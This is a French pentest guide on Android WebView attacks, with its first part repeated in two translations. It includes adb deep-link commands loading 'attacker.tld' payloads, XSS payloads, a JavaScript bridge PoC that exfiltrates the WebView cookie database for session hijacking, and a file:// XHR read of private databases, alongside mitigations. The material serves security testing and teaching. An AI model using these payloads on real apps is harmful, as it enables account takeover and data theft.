Attaques WebView

Reading time: 20 minutes

Guide sur les configurations et la sécurité de WebView

Aperçu des vulnérabilités de WebView

Un aspect critique du développement Android concerne la gestion correcte des WebView. Ce guide met en avant les configurations clés et les bonnes pratiques de sécurité pour atténuer les risques liés à l'utilisation de WebView.

Accès aux fichiers dans les WebView

Par défaut, les WebView autorisent l'accès aux fichiers. Cette fonctionnalité est contrôlée par la méthode setAllowFileAccess(), disponible depuis Android API level 3 (Cupcake 1.5). Les applications disposant de la permission android.permission.READ_EXTERNAL_STORAGE peuvent lire des fichiers depuis le stockage externe en utilisant le schéma d'URL file (file://path/to/file).

Fonctionnalités obsolètes : Universal and File Access From URLs

• Universal Access From File URLs: Cette fonctionnalité obsolète autorisait les requêtes cross-origin depuis des URLs file, représentant un risque de sécurité majeur à cause d'éventuelles attaques XSS. Le réglage par défaut est désactivé (false) pour les apps ciblant Android Jelly Bean et versions ultérieures.
• Pour vérifier ce réglage, utilisez getAllowUniversalAccessFromFileURLs().
• Pour modifier ce réglage, utilisez setAllowUniversalAccessFromFileURLs(boolean).
• File Access From File URLs: Cette fonctionnalité, également obsolète, contrôlait l'accès au contenu depuis d'autres URL utilisant le schéma file. Comme pour Universal Access, son réglage par défaut est désactivé pour renforcer la sécurité.
• Utilisez getAllowFileAccessFromFileURLs() pour vérifier et setAllowFileAccessFromFileURLs(boolean) pour définir.

Chargement sécurisé des fichiers

Pour désactiver l'accès au système de fichiers tout en continuant d'accéder aux assets et ressources, on utilise la méthode setAllowFileAccess(). Avec Android R et versions ultérieures, le réglage par défaut est false.

• Vérifiez avec getAllowFileAccess().
• Activez ou désactivez avec setAllowFileAccess(boolean).

WebViewAssetLoader

La classe WebViewAssetLoader est l'approche moderne pour charger des fichiers locaux. Elle utilise des URLs http(s) pour accéder aux assets et ressources locaux, se conformant à la Same-Origin policy et facilitant ainsi la gestion du CORS.

loadUrl

C'est une fonction courante utilisée pour charger des URL arbitraires dans un WebView :

webview.loadUrl("<url here>")

Évidemment, un attaquant potentiel ne devrait jamais être capable de contrôler l'URL que l'application va charger.

JavaScript et gestion de l'Intent Scheme

• JavaScript : Désactivé par défaut dans les WebViews, il peut être activé via setJavaScriptEnabled(). Il convient de faire preuve de prudence, car activer JavaScript sans protections appropriées peut introduire des vulnérabilités de sécurité.
• Intent Scheme : Les WebViews peuvent gérer le scheme intent, ce qui peut conduire à des exploits si ce n'est pas correctement maîtrisé. Une vulnérabilité exemple impliquait un paramètre WebView exposé "support_url" qui pouvait être exploité pour exécuter des attaques de cross-site scripting (XSS).

Exemple d'exploitation utilisant adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android fournit une fonctionnalité qui permet au JavaScript dans une WebView d'invoquer des fonctions natives de l'application Android. Cela se fait en utilisant la méthode addJavascriptInterface, qui intègre JavaScript aux fonctionnalités natives d'Android, appelée WebView JavaScript bridge. Il convient d'être prudent car cette méthode permet à toutes les pages chargées dans la WebView d'accéder à l'objet JavaScript Interface enregistré, ce qui représente un risque de sécurité si des informations sensibles sont exposées via ces interfaces.

• Une extrême prudence est requise pour les applications ciblant les versions d'Android antérieures à 4.2 en raison d'une vulnérabilité permettant l'exécution de code à distance via du JavaScript malveillant exploitant la reflection.

Implementing a JavaScript Bridge

• Les interfaces JavaScript peuvent interagir avec du code natif, comme montré dans les exemples où une méthode de classe est exposée à JavaScript:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};

• JavaScript Bridge est activé en ajoutant une interface au WebView:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

• Exploitation potentielle via JavaScript, par exemple via une attaque XSS, permet d'appeler des méthodes Java exposées :

<script>
alert(javascriptBridge.getSecret())
</script>

• Pour atténuer les risques, restrict JavaScript bridge usage au code livré avec l'APK et empêcher le chargement de JavaScript depuis des sources distantes. Pour les appareils plus anciens, définissez le niveau d'API minimum sur 17.

Reflection-based Remote Code Execution (RCE)

• Une méthode documentée permet d'atteindre RCE via reflection en exécutant un payload spécifique. Cependant, l'annotation @JavascriptInterface empêche l'accès non autorisé aux méthodes, limitant la surface d'attaque.

Remote Debugging

• Remote debugging est possible avec Chrome Developer Tools, permettant l'interaction et l'exécution arbitraire de JavaScript dans le contenu du WebView.

Activation de Remote Debugging

• Remote debugging peut être activé pour tous les WebViews au sein d'une application en :

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

• Pour activer le debugging de manière conditionnelle en fonction de l'état debuggable de l'application:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrer des fichiers arbitraires

• Démontre l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest:

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Webview Attacks

Guide on WebView Configurations and Security

Overview of WebView Vulnerabilities

Un aspect critique du développement Android concerne la gestion correcte des WebViews. Ce guide met en évidence les configurations clés et les bonnes pratiques de sécurité pour atténuer les risques liés à l'utilisation des WebViews.

File Access in WebViews

Par défaut, les WebViews autorisent l'accès aux fichiers. Cette fonctionnalité est contrôlée par la méthode setAllowFileAccess(), disponible depuis Android API level 3 (Cupcake 1.5). Les applications disposant de la permission android.permission.READ_EXTERNAL_STORAGE peuvent lire des fichiers depuis le stockage externe en utilisant un schéma d'URL file (file://path/to/file).

Deprecated Features: Universal and File Access From URLs

• Universal Access From File URLs: Cette fonctionnalité obsolète autorisait les requêtes cross-origin depuis des file URLs, représentant un risque de sécurité important à cause d'attaques XSS potentielles. Le réglage par défaut est désactivé (false) pour les apps ciblant Android Jelly Bean et versions ultérieures.
• Pour vérifier ce réglage, utilisez getAllowUniversalAccessFromFileURLs().
• Pour modifier ce réglage, utilisez setAllowUniversalAccessFromFileURLs(boolean).
• File Access From File URLs: Cette fonctionnalité, également obsolète, contrôlait l'accès au contenu depuis d'autres file scheme URLs. Comme pour l'accès universel, son réglage par défaut est désactivé pour renforcer la sécurité.
• Utilisez getAllowFileAccessFromFileURLs() pour vérifier et setAllowFileAccessFromFileURLs(boolean) pour définir.

Secure File Loading

Pour désactiver l'accès au système de fichiers tout en continuant d'accéder aux assets et resources, on utilise la méthode setAllowFileAccess(). Avec Android R et versions supérieures, le réglage par défaut est false.

• Vérifiez avec getAllowFileAccess().
• Activez ou désactivez avec setAllowFileAccess(boolean).

WebViewAssetLoader

La classe WebViewAssetLoader est l'approche moderne pour charger des fichiers locaux. Elle utilise des URLs http(s) pour accéder aux assets et resources locaux, en respectant la Same-Origin policy, facilitant ainsi la gestion du CORS.

loadUrl

Ceci est une fonction courante utilisée pour charger des URLs arbitraires dans un WebView:

webview.loadUrl("<url here>")

Évidemment, un attaquant potentiel ne devrait jamais pouvoir contrôler l'URL que va charger une application.

Deep-linking into internal WebView (custom scheme → WebView sink)

Beaucoup d'applications enregistrent des custom schemes/paths qui redirigent une URL fournie par l'utilisateur vers un WebView intégré. Si le deep link est exporté (VIEW + BROWSABLE), un attaquant peut forcer l'application à afficher du contenu distant arbitraire dans son contexte WebView.

Schéma typique de manifest (simplifié) :

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Flux de code commun (simplifié) :

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Modèle d'attaque et PoC via adb:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact : la page distante s'exécute dans le contexte WebView de l'application (cookies/session du profil WebView de l'application, accès à tout @JavascriptInterface exposé, accès potentiel à content:// et file:// selon les paramètres).

Hunting tips:

• Grep des sources décompilées pour getQueryParameter("url"), loadUrl(, WebView sinks, et les gestionnaires de deep-link (onCreate/onNewIntent).
• Examinez le manifest pour les filtres VIEW+BROWSABLE et les schémas/hôtes personnalisés qui correspondent à des activities qui lancent ensuite une WebView.
• Vérifiez s'il existe plusieurs deep-link paths (e.g., an “external browser” path vs. an “internal webview” path) et privilégiez celui qui s'affiche à l'intérieur de l'application.

Activation de JavaScript avant la vérification (order-of-checks bug)

Une erreur de durcissement fréquente consiste à activer JavaScript ou à configurer des paramètres WebView relâchés avant que l'allowlist/vérification finale de l'URL cible ne soit terminée. Si la vérification est incohérente entre les helpers ou arrive trop tard, un deep link d'attaquant peut atteindre un état où :

1. les paramètres WebView s'appliquent (e.g., setJavaScriptEnabled(true)), et
2. l'URL non fiable est chargée avec JavaScript activé.

Schéma du bug (pseudocode) :

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Pourquoi c'est exploitable

• Normalisation inconsistante : les helpers scindent/reconstruisent l'URL différemment de la vérification finale, créant des divergences qu'une URL malveillante peut exploiter.
• Pipeline mal ordonnée : activer JS à l'étape 2 s'applique globalement à l'instance WebView, affectant le chargement final même si la vérification échoue ensuite.

Comment tester

• Concevoir des payloads de deep-link qui passent les contrôles précoces et atteignent le site de configuration WebView.
• Utiliser adb pour envoyer des intents implicites VIEW fournissant un paramètre url= que vous contrôlez :

adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Si l'exploitation réussit, votre payload exécute du JavaScript dans le WebView de l'application. À partir de là, recherchez des bridges exposés :

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Conseils défensifs

• Canoniser une seule fois ; valider strictement par rapport à une unique source de vérité (scheme/host/path/query).
• N'appelez setJavaScriptEnabled(true) qu'après le passage de toutes les vérifications allowlist et juste avant de charger du contenu de confiance.
• Évitez d'exposer @JavascriptInterface à des origines non fiables ; préférez un contrôle par origine.
• Envisagez d'utiliser des instances WebView distinctes pour le contenu de confiance et non fiable, avec JS désactivé par défaut.

Gestion de JavaScript et du scheme intent

• JavaScript : Désactivé par défaut dans les WebViews, il peut être activé via setJavaScriptEnabled(). La prudence est de mise : activer JavaScript sans protections appropriées peut introduire des vulnérabilités de sécurité.
• Intent Scheme : Les WebViews peuvent gérer le scheme intent, ce qui peut entraîner des exploits si ce n'est pas géré soigneusement. Un exemple de vulnérabilité impliquait un paramètre exposé dans une WebView, "support_url", qui pouvait être exploité pour exécuter des attaques cross-site scripting (XSS).

Exemple d'exploitation utilisant adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android fournit une fonctionnalité qui permet à JavaScript dans une WebView d'invoquer des fonctions natives de l'application Android. Cela s'effectue en utilisant la méthode addJavascriptInterface, qui intègre JavaScript aux fonctionnalités natives d'Android, appelée WebView JavaScript bridge. Il convient d'être prudent car cette méthode permet à toutes les pages au sein de la WebView d'accéder à l'objet JavaScript Interface enregistré, ce qui pose un risque de sécurité si des informations sensibles sont exposées via ces interfaces.

• Une extrême prudence est requise pour les apps ciblant des versions d'Android antérieures à 4.2 en raison d'une vulnérabilité permettant l'exécution de code à distance via du JavaScript malveillant exploitant la reflection.

Implémentation d'un JavaScript Bridge

• JavaScript interfaces peuvent interagir avec le code natif, comme montré dans les exemples où une méthode de classe est exposée à JavaScript:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};

• JavaScript Bridge est activé en ajoutant une interface au WebView:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

• Une exploitation potentielle via JavaScript, par exemple via une attaque XSS, permet l'appel de méthodes Java exposées :

<script>
alert(javascriptBridge.getSecret())
</script>

• Pour réduire les risques, limitez l'utilisation du JavaScript bridge au code livré avec l'APK et empêchez le chargement de JavaScript depuis des sources distantes. Pour les appareils plus anciens, définissez le niveau d'API minimum à 17.

Abusing dispatcher-style JS bridges (invokeMethod/handlerName)

Un schéma courant est une unique méthode exportée (par ex., @JavascriptInterface void invokeMethod(String json)) qui désérialise du JSON contrôlé par l'attaquant en un objet générique et achemine l'exécution en fonction d'un handler fourni. Structure JSON typique :

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Risque : si un handler enregistré exécute des actions privilégiées sur des données contrôlées par l'attaquant (par ex. lecture directe de fichiers), vous pouvez l'appeler en définissant handlerName en conséquence. Les résultats sont généralement renvoyés dans le contexte de la page via evaluateJavascript et un mécanisme de callback/promise indexé par callbackId.

Key hunting steps

• Décompilez et recherchez addJavascriptInterface( afin d'identifier le nom de l'objet bridge (par ex. xbridge).
• Dans Chrome DevTools (chrome://inspect), tapez le nom de l'objet bridge dans la Console (par ex. xbridge) pour énumérer les champs/méthodes exposés ; cherchez un dispatcher générique comme invokeMethod.
• Énumérez les handlers en recherchant les classes implémentant getModuleName() ou des maps d'enregistrement.

Lecture arbitraire de fichiers via URI → File sinks (exfiltration Base64)

Si un handler prend un URI, appelle Uri.parse(req.getUri()).getPath(), construit new File(...) et le lit sans allowlists ni vérifications de sandbox, vous obtenez une lecture arbitraire de fichier dans le sandbox de l'app qui contourne les paramètres WebView comme setAllowFileAccess(false) (la lecture se fait dans le code natif, pas via la pile réseau du WebView).

PoC pour exfiltrer la Chromium WebView cookie DB (détournement de session) :

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Notes

• Les chemins de la DB des cookies varient selon les appareils/fournisseurs. Exemples courants :
• file:///data/data/<pkg>/app_webview/Default/Cookies
• file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
• Le handler renvoie du Base64 ; décodez-le pour récupérer les cookies et vous faire passer pour l'utilisateur dans le profil WebView de l'app.

Detection tips

• Surveillez la présence de longues chaînes Base64 retournées via evaluateJavascript lors de l'utilisation de l'app.
• Grep dans les sources décompilées à la recherche de handlers qui acceptent uri/path et les convertissent en new File(...).

Bypassing WebView privilege gates – endsWith() host checks

Les décisions de privilèges (sélection d'une JSB-enabled Activity) reposent souvent sur des allowlists d'hôtes. Un modèle défaillant est :

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

Logique équivalente (lois de De Morgan) :

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

Ceci n'est pas une vérification d'origine. De nombreux hôtes non intentionnés satisfont la deuxième clause, permettant à des domaines non fiables d'entrer dans l'Activity privilégiée. Vérifiez toujours le scheme et le host par rapport à une allowlist stricte (correspondance exacte ou une vérification correcte des sous-domaines avec des limites par point), et non des astuces endsWith.

javascript:// primitive d'exécution via loadUrl

Une fois à l'intérieur d'un WebView privilégié, les applications exécutent parfois du JS inline via :

webView.loadUrl("javascript:" + jsPayload);

Si un flux interne déclenche loadUrl("javascript:...") dans ce contexte, le JS injecté s'exécute avec un accès au bridge même si la page externe ne serait normalement pas autorisée. Pentest steps:

• Grep pour loadUrl("javascript: et evaluateJavascript( dans l'app.
• Essayez d'atteindre ces chemins de code après avoir forcé la navigation vers le WebView privilégié (par ex., via un permissive deep link chooser).
• Utilisez le primitive pour appeler le dispatcher (xbridge.invokeMethod(...)) et atteindre des handlers sensibles.

Mitigations (checklist pour développeurs)

• Vérification stricte de l'origine pour les Activities privilégiées : canonicalisez et comparez scheme/host avec une allowlist explicite ; évitez les vérifications basées sur endsWith. Considérez Digital Asset Links quand applicable.
• Limitez les bridges aux pages de confiance uniquement et re-vérifiez la confiance à chaque appel (autorisation par appel).
• Supprimez ou protégez fortement les handlers capables d'accéder au filesystem ; préférez content:// avec allowlists/permissions plutôt que des chemins file:// bruts.
• Évitez loadUrl("javascript:") dans des contextes privilégiés ou placez-le derrière des vérifications strictes.
• Rappelez-vous que setAllowFileAccess(false) ne protège pas contre les lectures natives de fichiers via le bridge.

JSB enumeration and debugging tips

• Activez le WebView remote debugging pour utiliser la Console de Chrome DevTools :
• Côté app (builds debug) : WebView.setWebContentsDebuggingEnabled(true)
• Côté système : des modules comme LSPosed ou des scripts Frida peuvent forcer l'activation du debugging même sur les builds release. Exemple de snippet Frida pour les Cordova WebViews : cordova enable webview debugging
• Dans DevTools, tapez le nom de l'objet bridge (ex., xbridge) pour voir les membres exposés et sonder le dispatcher.

Exécution de code à distance basée sur la réflexion (RCE)

• Une méthode documentée permet d'obtenir une RCE via la réflexion en exécutant un payload spécifique. Cependant, l'annotation @JavascriptInterface empêche l'accès non autorisé aux méthodes, limitant la surface d'attaque.

Débogage à distance

• Le débogage à distance est possible avec Chrome Developer Tools, permettant l'interaction et l'exécution arbitraire de JavaScript dans le contenu du WebView.

Activer le débogage à distance

• Le débogage à distance peut être activé pour tous les WebViews d'une application en :

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

• Pour activer conditionnellement le débogage en fonction de l'état debuggable de l'application :

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrer des fichiers arbitraires

• Démontre l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest:

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView XSS via Intent extras → loadData()

Une vulnérabilité fréquente consiste à lire des données contrôlées par un attaquant depuis un extra Intent entrant et à les injecter directement dans un WebView via loadData() avec JavaScript activé.

Schéma vulnérable (exported Activity lit l'extra et l'affiche comme HTML) :

String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

Si cette Activity est exportée (ou accessible via un proxy exporté), une application malveillante peut fournir du HTML/JS dans l'extra data pour provoquer un reflected XSS :

# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

Impact

• Arbitrary JS in the app’s WebView context: enumerate/use @JavascriptInterface bridges, access WebView cookies/local storage, pivot to file:// or content:// depending on settings.

Mitigations

• Considérez toutes les entrées dérivées d'Intent comme non fiables. Échapper (Html.escapeHtml) ou rejeter le HTML ; privilégier le rendu du texte non fiable comme texte, pas comme HTML.
• Désactivez JavaScript sauf si strictement nécessaire ; n'activez pas WebChromeClient pour du contenu non fiable.
• Si vous devez rendre du HTML templatisé, utilisez loadDataWithBaseURL() avec une base sûre et CSP ; séparez les WebViews fiables/non fiables.
• Évitez d'exposer l'Activity à l'extérieur ou protégez-la avec des permissions quand ce n'est pas nécessaire.

Related

• See Intent-based primitives and redirection in: Intent Injection

Références

• Review of Android WebViews file access attack vectors
• WheresMyBrowser.Android (demo app)
• Android WebView reference
• Deep Links & WebViews Exploitations – Part II
• Deep Links & WebViews Exploitations – Part I
• Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
• Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
• Demonstration video
• Android Intents (1/2): how they work, security, and attack examples – Mobeta
• Account takeover in Android app via JSB – tuxplorer.com
• LSPosed – systemless Xposed framework
• Frida codeshare: Cordova – enable WebView debugging